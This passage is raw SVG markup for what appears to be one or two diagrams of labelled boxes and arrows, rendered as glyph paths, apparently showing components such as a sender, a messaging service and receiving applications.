1.344.25.344.168.613.398.813.687.195.281.32.606.375.969.062.367.093.75.093 1.156 0 .793-.015 1.57-.046 2.328a53.04 53.04 0 0 0-.047 2.172c0 .5.015.969.046 1.406.032.43.094.84.188 1.235H5.906l-.343-1.188h-.079a2.73 2.73 0 0 1-.89.907C4.207.016 3.69.14 3.047.14c-.73 0-1.324-.25-1.781-.75-.461-.5-.688-1.192-.688-2.079 0-.57.094-1.05.281-1.437.196-.383.473-.695.829-.938a3.346 3.346 0 0 1 1.265-.5 7.995 7.995 0 0 1 1.625-.156h.406c.133 0 .274.008.422.016.032-.406.047-.77.047-1.094 0-.758-.117-1.289-.344-1.594-.218-.312-.632-.468-1.234-.468a4.89 4.89 0 0 0-1.219.171 4.705 4.705 0 0 0-1.094.422zm4.344 4.844c-.137-.008-.274-.016-.406-.016-.137-.008-.266-.016-.391-.016-.324 0-.64.028-.953.078a2.594 2.594 0 0 0-.813.282 1.485 1.485 0 0 0-.578.53c-.136.231-.203.517-.203.86 0 .531.129.95.39 1.25.259.293.598.438 1.016.438.551 0 .977-.13 1.282-.39.312-.27.53-.567.656-.891zm0 0"/></symbol><symbol overflow="visible" id="l"><path d="M6.297 0v-6.094c0-1-.121-1.722-.36-2.172-.23-.445-.64-.671-1.234-.671-.531 0-.976.164-1.328.484a2.71 2.71 0 0 0-.75 1.172V0H1.187v-10H2.22l.265 1.063h.063a3.1 3.1 0 0 1 1.015-.922c.438-.25.958-.375 1.563-.375.426 0 .8.062 1.125.187.32.117.594.32.813.61.226.28.394.664.5 1.14.113.48.171 1.086.171 1.813V0zm0 0"/></symbol><symbol overflow="visible" id="m"><path d="M7.484-3.438c0 .68.004 1.293.016 1.844.008.555.055 1.102.14 1.64h-.984l-.312-1.202h-.078c-.188.398-.485.73-.891 1-.398.258-.875.39-1.438.39-1.085 0-1.89-.414-2.421-1.25C.992-1.859.734-3.18.734-4.984c0-1.707.32-3 .97-3.875.655-.883 1.546-1.329 2.671-1.329.383 0 .691.028.922.079.226.043.476.12.75.234V-14h1.437zM6.047-8.421a1.848 1.848 0 0 0-.64-.344c-.231-.07-.54-.109-.923-.109-.71 0-1.261.324-1.656.969-.398.636-.594 1.62-.594 2.953 0 .586.036 1.117.11 1.594.07.468.187.875.344 1.218.156.344.351.61.593.797.25.188.555.282.922.282.957 0 1.57-.567 1.844-1.704zm0 0"/></symbol><symbol overflow="visible" id="n"><path d="M2.719-2.375c0 .46.062.793.187 1 .125.2.301.297.531.297.282 0 .61-.07.985-.219l.14 1.156c-.18.106-.421.188-.734.25-.312.07-.594.11-.844.11-.511 0-.921-.157-1.234-.469-.313-.313-.469-.863-.469-1.656V-14H2.72zm0 0"/></symbol><symbol overflow="visible" id="o"><path d="M.734-5c0-1.8.305-3.125.922-3.969.625-.844 1.508-1.265 2.657-1.265 1.226 0 2.132.433 2.718 1.296.582.868.875 2.18.875 3.938 0 1.813-.32 3.14-.953 3.984-.625.836-1.508 1.25-2.64 1.25-1.22 0-2.122-.43-2.704-1.296C1.023-1.926.734-3.239.734-5zm1.5 0c0 .586.036 1.117.11 1.594.07.48.191.898.36 1.25.163.344.382.617.655.812.27.188.586.282.954.282.695 0 1.218-.305 1.562-.922.352-.625.531-1.63.531-3.016 0-.57-.039-1.098-.11-1.578a4.47 4.47 0 0 0-.359-1.25c-.167-.352-.386-.625-.656-.813a1.62 1.62 0 0 0-.968-.296c-.68 0-1.196.312-1.547.937-.356.625-.532 1.625-.532 3zm0 0"/></symbol><symbol overflow="visible" id="p"><path d="M1.188-10h1.015l.219 1.078H2.5c.488-.875 1.258-1.312 2.313-1.312 1.062 0 1.851.398 2.375 1.187.53.781.796 2.063.796 3.844 0 .844-.09 1.605-.265 2.281-.18.668-.43 1.242-.75 1.719A3.27 3.27 0 0 1 5.812-.125c-.46.238-.968.36-1.53.36-.387 0-.696-.028-.923-.079a2.43 2.43 0 0 1-.734-.281V4H1.187zm1.437 8.422c.188.156.395.281.625.375.227.094.54.14.938.14.695 0 1.253-.359 1.671-1.078.414-.718.625-1.742.625-3.078 0-.562-.039-1.066-.109-1.515a4.02 4.02 0 0 0-.36-1.172 1.925 1.925 0 0 0-.609-.766c-.242-.176-.543-.265-.906-.265-.969 0-1.594.593-1.875 1.78zm0 0"/></symbol><symbol overflow="visible" id="r"><path d="M1.875-1.344h2.266v-9.734l.171-1.188-.671.97-1.688 1.358-.75-.906 3.64-3.39h.735v12.89h2.188V0H1.875zm0 0"/></symbol><symbol overflow="visible" id="s"><path d="M1.188-1.86c.25.18.601.344 1.062.5.457.15.977.22 1.563.22.75 0 1.359-.18 1.828-.548.468-.363.703-.94.703-1.734 0-.52-.137-.973-.407-1.36a4.904 4.904 0 0 0-1-1.062 15.135 15.135 0 0 0-1.296-.968 10 10 0 0 1-1.282-1.032 5.407 5.407 0 0 1-1-1.312c-.273-.5-.406-1.094-.406-1.781 0-1.126.336-1.954 1.016-2.485.676-.539 1.55-.812 2.625-.812.664 0 1.258.062 1.781.187.52.117.941.266 1.266.453l-.485 1.313c-.242-.145-.586-.274-1.031-.39a5.786 5.786 0 0 0-1.547-.188c-.719 0-1.258.18-1.61.53-.343.356-.515.798-.515 1.329 0 .469.133.887.406 1.25.27.355.602.695 1 1.016.395.312.82.636 1.282.968a8.9 8.9 0 0 1 1.296 1.094c.407.399.739.852 1 1.36.27.5.407 1.101.407 1.796 0 1.168-.352 2.086-1.047 2.75-.688.668-1.668 1-2.938 1C3.055.234 2.4.16 1.891.016 1.379-.13.969-.297.656-.484zm0 0"/></symbol><symbol overflow="visible" id="t"><path d="M6.656-3.922H2.703L1.578 0H.094l4.218-14.219h.829L9.359 0H7.797zM3.094-5.266h3.203L5.078-9.578l-.375-2.11h-.047l-.375 2.141zm0 0"/></symbol><symbol overflow="visible" id="u"><path d="M.188-10h1.218v-1.984l1.438-.454V-10H5v1.297H2.844v5.969c0 .586.066 1.007.203 1.265.144.262.375.39.687.39.27 0 .5-.03.688-.093.195-.062.41-.14.64-.234l.282 1.14a4.299 4.299 0 0 1-.969.344 4.34 4.34 0 0 1-1.11.14c-.667 0-1.148-.214-1.437-.64-.281-.437-.422-1.144-.422-2.125v-6.156H.188zm0 0"/></symbol><symbol overflow="visible" id="v"><path d="M7.36-10.938c0 .731-.11 1.497-.329 2.297-.218.805-.5 1.594-.843 2.375a19.589 19.589 0 0 1-1.141 2.25c-.418.72-.828 1.36-1.234 1.922l-.797.875v.063l1.062-.188h3.5V0H1.094v-.64c.258-.301.554-.688.89-1.157.332-.469.676-.976 1.032-1.531.351-.55.695-1.133 1.03-1.75.345-.625.645-1.254.907-1.89.27-.645.488-1.282.656-1.907.164-.625.25-1.227.25-1.813 0-.675-.156-1.21-.468-1.609-.313-.406-.774-.61-1.375-.61a3.02 3.02 0 0 0-1.125.22 3.349 3.349 0 0 0-.954.53l-.562-1.062c.363-.32.805-.57 1.328-.75a5.085 5.085 0 0 1 1.64-.265c.977 0 1.723.304 2.235.906.52.605.781 1.402.781 2.39zm0 0"/></symbol></defs><path fill="#fff" d="M0 0h642v542H0z"/><path d="M1 1h640v540H1zm0 0" fill-rule="evenodd" fill="#fff" stroke-width="2" stroke="#fff" stroke-miterlimit="10"/><path d="M65.57 221h83.239v63.707H65.57zm0 0M65.57 227v-6c-3.312 0-6 2.688-6 6zm0 0M148.809 227h6c0-3.313-2.684-6-6-6zm0 0" fill-rule="evenodd" fill="#fddfbb"/><path d="M59.57 227h95.239v51.707H59.57zm0 0M65.57 278.707h-6c0 3.313 2.688 6 6 6zm0 0M148.809 278.707v6c3.316 0 6-2.687 6-6zm0 0" fill-rule="evenodd" fill="#fddfbb"/><path d="M65.57 221h83.239M65.57 284.707h83.239M65.57 221c-3.312 0-6 2.687-6 6M154.809 227a6 6 0 0 0-6-6M59.57 227v51.707M154.809 227v51.707M59.57 278.707c0 3.313 2.688 6 6 6M148.809 284.707a6 6 0 0 0 6-6" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><use xlink:href="#a" x="78.246" y="260.805"/><use xlink:href="#b" x="87.094" y="260.805"/><use xlink:href="#c" x="95.219" y="260.805"/><use xlink:href="#b" x="102.035" y="260.805"/><use xlink:href="#d" x="110.297" y="260.805"/><use xlink:href="#e" x="114.633" y="260.805"/><use xlink:href="#b" x="122.387" y="260.805"/><use xlink:href="#f" x="130.648" y="260.805"/><path d="M207 221h228v63.707H207zm0 0M207 227v-6c-3.313 0-6 2.688-6 6zm0 0M435 227h6c0-3.313-2.688-6-6-6zm0 0" fill-rule="evenodd" fill="#fddfbb"/><path d="M201 227h240v51.707H201zm0 0M207 278.707h-6c0 3.313 2.688 6 6 6zm0 0M435 278.707v6c3.313 0 6-2.687 6-6zm0 0" fill-rule="evenodd" fill="#fddfbb"/><path d="M207 221h228M207 284.707h228M207 221c-3.312 0-6 2.687-6 6M441 227c0-3.312-2.687-6-6-6M201 227v51.707M441 227v51.707M201 278.707c0 3.313 2.687 6 6 6M435 284.707c3.312 0 6-2.687 6-6" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><use xlink:href="#g" x="308.578" y="260.805"/><use xlink:href="#h" x="317.992" y="260.805"/><use xlink:href="#i" x="326.664" y="260.805"/><path d="M169.555 441h123.238v63.707H169.555zm0 0M169.555 447v-6c-3.313 0-6 2.688-6 6zm0 0M292.793 447h6c0-3.313-2.688-6-6-6zm0 0" fill-rule="evenodd" fill="#b2d4eb"/><path d="M163.555 447h135.238v51.707H163.555zm0 0M169.555 498.707h-6c0 3.313 2.687 6 6 6zm0 0M292.793 498.707v6c3.312 0 6-2.687 6-6zm0 0" fill-rule="evenodd" fill="#b2d4eb"/><path d="M169.555 441h123.238M169.555 504.707h123.238M169.555 441c-3.313 0-6 2.687-6 6M298.793 447c0-3.312-2.688-6-6-6M163.555 447v51.707M298.793 447v51.707M163.555 498.707c0 3.313 2.687 6 6 6M292.793 504.707c3.312 0 6-2.687 6-6" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><use xlink:href="#j" x="203.887" y="480.805"/><use xlink:href="#k" x="214.609" y="480.805"/><use xlink:href="#l" x="222.617" y="480.805"/><use xlink:href="#m" x="231.406" y="480.805"/><use xlink:href="#n" x="240.059" y="480.805"/><use xlink:href="#b" x="244.727" y="480.805"/><use xlink:href="#f" x="252.988" y="480.805"/><path d="M107.191 176.852V210" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M102.191 210l5 10 5-10zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M154.809 252.852H190" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M190 257.852l10-5-10-5zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M441 252.852h49" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M490 257.852l10-5-10-5zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M127.191 58.074c0 11.047-8.957 20-20 20-11.046 0-20-8.953-20-20 0-11.043 8.954-20 20-20 11.043 0 20 8.957 20 20" fill-rule="evenodd" fill="#b2d4eb" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M57.191 123.992h100v51.785c-20-8.632-30-8.632-50 0-20 8.63-30 8.63-50 0v-51.785" fill-rule="evenodd" fill="#f2f2f2" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><use xlink:href="#b" x="68.91" y="153.188"/><use xlink:href="#l" x="77.172" y="153.188"/><use xlink:href="#e" x="85.961" y="153.188"/><use xlink:href="#b" x="93.715" y="153.188"/><use xlink:href="#n" x="101.977" y="153.188"/><use xlink:href="#o" x="106.645" y="153.188"/><use xlink:href="#p" x="115.277" y="153.188"/><use xlink:href="#b" x="123.969" y="153.188"/><use xlink:href="#q" x="132.23" y="153.188"/><use xlink:href="#r" x="136.469" y="153.188"/><path d="M507 221h83.238v63.707H507zm0 0M507 227v-6c-3.313 0-6 2.688-6 6zm0 0M590.238 227h6c0-3.313-2.687-6-6-6zm0 0" fill-rule="evenodd" fill="#fddfbb"/><path d="M501 227h95.238v51.707H501zm0 0M507 278.707h-6c0 3.313 2.688 6 6 6zm0 0M590.238 278.707v6c3.313 0 6-2.687 6-6zm0 0" fill-rule="evenodd" fill="#fddfbb"/><path d="M507 221h83.238M507 284.707h83.238M507 221c-3.312 0-6 2.687-6 6M596.238 227c0-3.312-2.687-6-6-6M501 227v51.707M596.238 227v51.707M501 278.707c0 3.313 2.687 6 6 6M590.238 284.707c3.313 0 6-2.687 6-6" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><use xlink:href="#s" x="524.617" y="260.805"/><use xlink:href="#b" x="533.172" y="260.805"/><use xlink:href="#l" x="541.434" y="260.805"/><use xlink:href="#m" x="550.223" y="260.805"/><use xlink:href="#b" x="558.875" y="260.805"/><use xlink:href="#f" x="567.137" y="260.805"/><path d="M107.191 78.074v34.918" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M102.191 112.992l5 10 5-10zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M346.148 441h123.239v63.707H346.148zm0 0M346.148 447v-6c-3.312 0-6 2.688-6 6zm0 0" fill-rule="evenodd" fill="#b2d4eb"/><path d="M469.387 447h6c0-3.313-2.688-6-6-6zm0 0M340.148 447h135.239v51.707H340.148zm0 0M346.148 498.707h-6c0 3.313 2.688 6 6 6zm0 0M469.387 498.707v6c3.312 0 6-2.687 6-6zm0 0" fill-rule="evenodd" fill="#b2d4eb"/><path d="M346.148 441h123.239M346.148 504.707h123.239M346.148 441c-3.312 0-6 2.687-6 6M475.387 447c0-3.312-2.688-6-6-6M340.148 447v51.707M475.387 447v51.707M340.148 498.707c0 3.313 2.688 6 6 6M469.387 504.707c3.312 0 6-2.687 6-6" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><g><use xlink:href="#t" x="368.645" y="480.805"/><use xlink:href="#p" x="378.098" y="480.805"/><use xlink:href="#p" x="386.789" y="480.805"/><use xlink:href="#n" x="395.48" y="480.805"/><use xlink:href="#d" x="400.148" y="480.805"/><use xlink:href="#c" x="404.484" y="480.805"/><use xlink:href="#k" x="411.613" y="480.805"/><use xlink:href="#u" x="419.621" y="480.805"/><use xlink:href="#d" x="425.129" y="480.805"/><use xlink:href="#o" x="429.465" y="480.805"/><use xlink:href="#l" x="438.098" y="480.805"/></g><path d="M407.77 441l-.344-145.293" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M412.426 295.695l-5.028-9.988-4.972 10.012zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M231.195 284.707L231.175 430" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M226.176 430l5 10 5-10zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M548.957 187.496L548.621 221" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M553.957 187.547l-4.898-10.05-5.102 9.948zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M569.297 57.64c0 11.047-8.957 20-20 20-11.047 0-20-8.953-20-20 0-11.046 8.953-20 20-20 11.043 0 20 8.954 20 20" fill-rule="evenodd" fill="#b2d4eb" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M499.297 123.555h100v51.78c-20-8.628-30-8.628-50 0-20 8.634-30 8.634-50 0v-51.78" fill-rule="evenodd" fill="#f2f2f2" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><g><use xlink:href="#b" x="511.016" y="152.75"/><use xlink:href="#l" x="519.277" y="152.75"/><use xlink:href="#e" x="528.066" y="152.75"/><use xlink:href="#b" x="535.82" y="152.75"/><use xlink:href="#n" x="544.082" y="152.75"/><use xlink:href="#o" x="548.75" y="152.75"/><use xlink:href="#p" x="557.383" y="152.75"/><use xlink:href="#b" x="566.074" y="152.75"/><use xlink:href="#q" x="574.336" y="152.75"/><use xlink:href="#v" x="578.574" y="152.75"/></g><path d="M549.297 88.64v34.915" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M554.297 88.64l-5-10-5 10zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M21 317.594h600" fill="none" stroke-width="2" stroke="#000" stroke-dasharray=".1,.1" stroke-miterlimit="10"/><path d="M181 345.258h100v51.785c-20-8.633-30-8.633-50 0-20 8.629-30 8.629-50 0v-51.785" fill-rule="evenodd" fill="#f2f2f2" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><g><use xlink:href="#b" x="192.719" y="374.453"/><use xlink:href="#l" x="200.98" y="374.453"/><use xlink:href="#e" x="209.77" y="374.453"/><use xlink:href="#b" x="217.523" y="374.453"/><use xlink:href="#n" x="225.785" y="374.453"/><use xlink:href="#o" x="230.453" y="374.453"/><use xlink:href="#p" x="239.086" y="374.453"/><use xlink:href="#b" x="247.777" y="374.453"/><use xlink:href="#q" x="256.039" y="374.453"/><use xlink:href="#r" x="260.277" y="374.453"/></g><path d="M356.742 345.258h100v51.785c-20-8.633-30-8.633-50 0-20 8.629-30 8.629-50 0v-51.785" fill-rule="evenodd" fill="#f2f2f2" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><g><use xlink:href="#b" x="368.461" y="374.453"/><use xlink:href="#l" x="376.723" y="374.453"/><use xlink:href="#e" x="385.512" y="374.453"/><use xlink:href="#b" x="393.266" y="374.453"/><use xlink:href="#n" x="401.527" y="374.453"/><use xlink:href="#o" x="406.195" y="374.453"/><use xlink:href="#p" x="414.828" y="374.453"/><use xlink:href="#b" x="423.52" y="374.453"/><use xlink:href="#q" x="431.781" y="374.453"/><use xlink:href="#v" x="436.02" y="374.453"/></g></svg> +<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="600" viewBox="0 0 642 542"><defs><symbol id="a" overflow="visible"><path d="M10.047-10.125c-.086-.906-.418-1.586-1-2.047-.574-.457-1.402-.687-2.485-.687-.98 0-1.777.183-2.39.546-.606.368-.906.899-.906 1.594 0 .617.234 1.074.703 1.375.469.305 1.375.606 2.719.906 1.175.262 2.14.528 2.89.797.75.274 1.39.7 1.922 1.282.54.574.813 1.343.813 2.312 0 1.23-.497 2.258-1.485 3.078C9.848-.156 8.57.25 7 .25c-2.012 0-3.516-.445-4.516-1.344-1-.906-1.527-2.07-1.578-3.5l1.797-.156c.082 1.148.52 1.98 1.313 2.5.8.523 1.77.781 2.906.781 1.062 0 1.922-.218 2.578-.656.656-.438.984-1.023.984-1.766 0-.78-.343-1.347-1.03-1.703-.688-.363-1.84-.718-3.454-1.062-1.605-.352-2.762-.844-3.469-1.469-.71-.633-1.062-1.457-1.062-2.469 0-1.144.445-2.094 1.343-2.844.895-.75 2.118-1.124 3.672-1.124 1.594 0 2.868.374 3.829 1.124.968.743 1.484 1.797 1.546 3.172Zm0 0" style="stroke:none"/></symbol><symbol id="b" overflow="visible"><path d="M10.344-4.734H2.578c.07 1.148.399 2.023.985 2.625.582.605 1.312.906 2.187.906.664 0 1.223-.176 1.672-.531.457-.352.812-.891 1.062-1.61l1.797.235c-.293 1.074-.828 1.902-1.61 2.484-.78.586-1.757.875-2.921.875-1.563 0-2.781-.477-3.656-1.438C1.219-2.144.78-3.445.78-5.094c0-1.633.422-2.957 1.266-3.968.851-1.02 2.05-1.532 3.594-1.532.757 0 1.488.168 2.187.5.695.336 1.29.903 1.781 1.703.489.793.735 2.012.735 3.657ZM8.53-6.188c-.074-1.05-.402-1.804-.984-2.265-.574-.469-1.211-.703-1.906-.703-.825 0-1.508.277-2.047.828-.531.555-.84 1.265-.922 2.14Zm0 0" style="stroke:none"/></symbol><symbol id="c" overflow="visible"><path d="M9.813 0H8.03v-6.297c0-1.062-.195-1.789-.578-2.187-.375-.395-.902-.594-1.578-.594-.523 0-1.016.125-1.484.375-.461.25-.79.61-.985 1.078-.199.46-.297 1.11-.297 1.953V0H1.36v-10.36h1.579v1.47h.046c.364-.57.817-1 1.36-1.282.55-.281 1.18-.422 1.89-.422.551 0 1.094.102 1.625.297.532.188.946.48 1.25.875.313.387.504.805.579 1.25.082.438.124 1.04.124 1.797Zm0 0" style="stroke:none"/></symbol><symbol id="d" overflow="visible"><path d="M9.719 0h-1.64v-1.313H8.03C7.406-.27 6.453.25 5.171.25c-1.273 0-2.335-.504-3.187-1.516C1.141-2.273.72-3.578.72-5.172c0-1.676.398-3 1.203-3.969.8-.968 1.86-1.453 3.172-1.453 1.238 0 2.18.469 2.828 1.406h.031v-5.124H9.72Zm-4.36-1.203c.77 0 1.422-.313 1.954-.938.53-.632.796-1.593.796-2.875 0-1.27-.246-2.273-.734-3.015-.48-.75-1.18-1.125-2.094-1.125-.906 0-1.593.367-2.062 1.094-.469.73-.703 1.695-.703 2.89 0 .856.125 1.586.375 2.188.25.593.597 1.043 1.046 1.343.458.293.93.438 1.422.438Zm0 0" style="stroke:none"/></symbol><symbol id="e" overflow="visible"><path d="m6.922-10.047-.61 1.625c-.43-.25-.851-.375-1.265-.375-.668 0-1.172.297-1.516.89-.336.587-.5 1.407-.5 2.47V0h-1.75v-10.36h1.594v1.563h.047c.562-1.195 1.297-1.797 2.203-1.797.594 0 1.191.184 1.797.547Zm0 0" style="stroke:none"/></symbol><symbol id="f" overflow="visible"><path d="M9.625-7.625c.895.281 1.566.73 2.016 1.344a3.54 3.54 0 0 1 .671 2.125 4.14 4.14 0 0 1-.609 2.203A3.67 3.67 0 0 1 9.984-.47C9.242-.156 8.238 0 6.97 0H1.484v-14.313H6.86c1.739 0 2.961.383 3.672 1.141.719.75 1.078 1.586 1.078 2.5 0 .625-.168 1.203-.5 1.735-.336.53-.828.968-1.484 1.312Zm-6.25-.703h3.11c.632 0 1.163-.031 1.593-.094.438-.07.82-.258 1.156-.562.332-.313.5-.79.5-1.438 0-.676-.168-1.176-.5-1.5a2.2 2.2 0 0 0-1.203-.594 12.46 12.46 0 0 0-1.797-.109H3.375Zm0 6.625h3.563c1.28 0 2.164-.219 2.656-.656.5-.438.75-1.036.75-1.797 0-.782-.266-1.383-.797-1.813-.524-.437-1.469-.656-2.844-.656H3.375Zm0 0" style="stroke:none"/></symbol><symbol id="g" overflow="visible"><path d="M9.734 0H8.172v-1.531h-.063C7.316-.344 6.234.25 4.86.25a4.14 4.14 0 0 1-2-.5c-.617-.344-1.027-.805-1.234-1.39-.21-.594-.313-1.36-.313-2.298v-6.421h1.766v5.734c0 .918.04 1.578.125 1.984.094.399.32.727.688.985.375.25.816.375 1.328.375.664 0 1.289-.227 1.875-.688.593-.457.89-1.41.89-2.86v-5.53h1.75Zm0 0" style="stroke:none"/></symbol><symbol id="h" overflow="visible"><path d="M7.125-7.469c-.086-.562-.32-.984-.703-1.265-.375-.282-.902-.422-1.578-.422-.668 0-1.211.117-1.625.344-.418.218-.625.546-.625.984 0 .418.16.715.484.89.332.168.988.383 1.969.641 1.094.281 1.91.531 2.453.75.54.211.96.508 1.266.89.3.387.453.93.453 1.626 0 .918-.383 1.695-1.14 2.328-.75.637-1.759.953-3.017.953-1.312 0-2.34-.273-3.078-.828C1.242-1.141.785-1.977.61-3.094l1.75-.265c.094.718.364 1.261.813 1.625.445.355 1.07.53 1.875.53.758 0 1.344-.16 1.75-.484.414-.32.625-.71.625-1.171 0-.313-.094-.563-.281-.75a1.773 1.773 0 0 0-.72-.422c-.28-.102-.917-.274-1.905-.516-1.47-.344-2.438-.766-2.907-1.266a2.584 2.584 0 0 1-.703-1.812c0-.863.344-1.57 1.031-2.125.688-.563 1.614-.844 2.782-.844 1.238 0 2.203.246 2.89.735.688.48 1.098 1.199 1.235 2.156Zm0 0" style="stroke:none"/></symbol><symbol id="i" overflow="visible"><path d="M12.844 0h-1.906v-6.734H3.5V0H1.61v-14.313H3.5v5.876h7.438v-5.876h1.906Zm0 0" style="stroke:none"/></symbol><symbol id="j" overflow="visible"><path d="M10.328 0H8.484c-.18-.32-.304-.75-.375-1.281C6.93-.258 5.66.25 4.297.25c-1.094 0-1.961-.27-2.594-.813-.625-.55-.937-1.28-.937-2.187 0-.852.3-1.555.906-2.11.613-.562 1.672-.937 3.172-1.124l1.64-.235A9.58 9.58 0 0 0 8-6.579c0-.53-.016-.905-.047-1.124-.031-.219-.133-.442-.297-.672-.156-.238-.414-.426-.765-.563-.344-.144-.813-.218-1.407-.218-.761 0-1.359.14-1.796.422-.438.273-.743.793-.907 1.562l-1.719-.234c.188-1.063.672-1.86 1.454-2.39.78-.532 1.859-.798 3.234-.798 1.238 0 2.148.184 2.734.547.582.367.938.809 1.063 1.328.133.524.203 1.196.203 2.016v2.36c0 1.448.023 2.417.078 2.905.063.493.227.97.5 1.438ZM8-4.563v-.64c-.918.312-2.043.558-3.375.734-1.324.18-1.984.742-1.984 1.688 0 .469.175.86.53 1.172.364.312.88.468 1.548.468.863 0 1.625-.257 2.281-.78.664-.52 1-1.4 1-2.641Zm0 0" style="stroke:none"/></symbol><symbol id="k" overflow="visible"><path d="M3.094 0h-1.75v-14.313h1.75Zm0 0" style="stroke:none"/></symbol><symbol id="l" overflow="visible"><path d="M9.75-10.36 5.844 0h-1.64L.265-10.36h1.859l2.14 6c.395 1.126.633 1.891.72 2.298h.03c.102-.415.286-.973.548-1.672l2.39-6.625Zm0 0" style="stroke:none"/></symbol><symbol id="m" overflow="visible"><path d="M5.563-10.594c1.394 0 2.55.461 3.468 1.375.926.906 1.39 2.2 1.39 3.875 0 2.043-.5 3.485-1.5 4.328C7.93-.172 6.814.25 5.564.25 4.25.25 3.108-.18 2.14-1.047 1.18-1.922.703-3.297.703-5.172c0-1.82.461-3.18 1.39-4.078.938-.895 2.095-1.344 3.47-1.344Zm0 9.39c1 0 1.757-.366 2.28-1.109.52-.738.782-1.718.782-2.937 0-1.29-.297-2.266-.89-2.922-.587-.656-1.31-.984-2.173-.984-.898 0-1.632.336-2.203 1-.574.668-.859 1.664-.859 2.984 0 1.313.29 2.305.875 2.969.582.668 1.313 1 2.188 1Zm0 0" style="stroke:none"/></symbol><symbol id="n" overflow="visible"><path d="M3-9.031c.656-1.04 1.64-1.563 2.953-1.563 1.363 0 2.438.496 3.219 1.485.789.98 1.187 2.261 1.187 3.843 0 1.688-.437 3.032-1.312 4.032C8.18-.242 7.113.25 5.844.25c-1.117 0-2.008-.441-2.672-1.328h-.063v5.062H1.36v-14.343h1.594v1.328Zm2.719 7.828c.82 0 1.5-.336 2.031-1.016.54-.687.813-1.703.813-3.047 0-1.27-.262-2.242-.782-2.921C7.27-8.876 6.61-9.22 5.797-9.22c-.836 0-1.524.383-2.063 1.14-.53.763-.796 1.747-.796 2.954 0 1.293.253 2.273.765 2.938.52.656 1.192.984 2.016.984Zm0 0" style="stroke:none"/></symbol><symbol id="p" overflow="visible"><path d="M7.5 0H5.75v-11.203c-.887.836-2.063 1.543-3.531 2.125v-1.703c2.02-.969 3.398-2.172 4.14-3.61H7.5Zm0 0" style="stroke:none"/></symbol><symbol id="q" overflow="visible"><path d="M14.219 0h-2.375c-1.43-2.25-2.32-3.629-2.672-4.14A7.78 7.78 0 0 0 8.078-5.47c-.375-.375-.73-.61-1.062-.703-.336-.094-.778-.14-1.329-.14H3.5V0H1.61v-14.313h6.327c.864 0 1.586.06 2.172.172.594.106 1.11.336 1.547.688.446.355.785.805 1.016 1.344.238.543.36 1.109.36 1.703 0 1.086-.345 1.953-1.032 2.61-.68.655-1.668 1.073-2.969 1.25v.046c.946.418 1.844 1.29 2.688 2.61ZM3.5-8.016h4.063c.82 0 1.468-.066 1.937-.203a2.09 2.09 0 0 0 1.14-.828c.29-.406.438-.86.438-1.36 0-.644-.242-1.195-.719-1.655-.468-.458-1.25-.688-2.343-.688H3.5Zm0 0" style="stroke:none"/></symbol><symbol id="r" overflow="visible"><path d="M9.828-3.578c-.23 1.312-.75 2.281-1.562 2.906A4.45 4.45 0 0 1 5.5.25C4 .25 2.836-.242 2.016-1.234 1.19-2.223.78-3.531.78-5.156c0-1.344.235-2.422.703-3.235.477-.812 1.07-1.379 1.782-1.703a5.2 5.2 0 0 1 2.234-.5c1.063 0 1.973.278 2.734.828.758.555 1.227 1.368 1.407 2.438l-1.704.266c-.18-.696-.464-1.22-.859-1.563-.387-.352-.887-.531-1.5-.531-.98 0-1.726.351-2.234 1.047-.512.687-.766 1.656-.766 2.906 0 1.281.25 2.273.75 2.969.5.687 1.219 1.03 2.156 1.03.75 0 1.336-.21 1.766-.64.438-.437.71-1.086.828-1.953Zm0 0" style="stroke:none"/></symbol><symbol id="s" overflow="visible"><path d="M3.094 0h-1.75v-10.36h1.75Zm0-12.328h-1.75v-1.985h1.75Zm0 0" style="stroke:none"/></symbol><symbol id="t" overflow="visible"><path d="M13.36 0h-2.141L9.547-4.36H3.562L1.984 0h-2l5.5-14.313h2.032ZM8.968-5.86c-1.18-3.1-1.84-4.863-1.985-5.28a21.682 21.682 0 0 1-.5-1.688h-.046a17.446 17.446 0 0 1-.735 2.687L4.11-5.859Zm0 0" style="stroke:none"/></symbol><symbol id="u" overflow="visible"><path d="M5.375-.016c-.523.102-.96.157-1.313.157-.773 0-1.335-.137-1.687-.407a1.69 1.69 0 0 1-.64-1.03c-.075-.415-.11-.993-.11-1.735V-9H.344v-1.36h1.281v-2.578L3.375-14v3.64h1.766V-9H3.375v6.063c0 .523.05.89.156 1.109.114.219.39.328.828.328.25 0 .508-.023.782-.078Zm0 0" style="stroke:none"/></symbol><symbol id="v" overflow="visible"><path d="M10.094 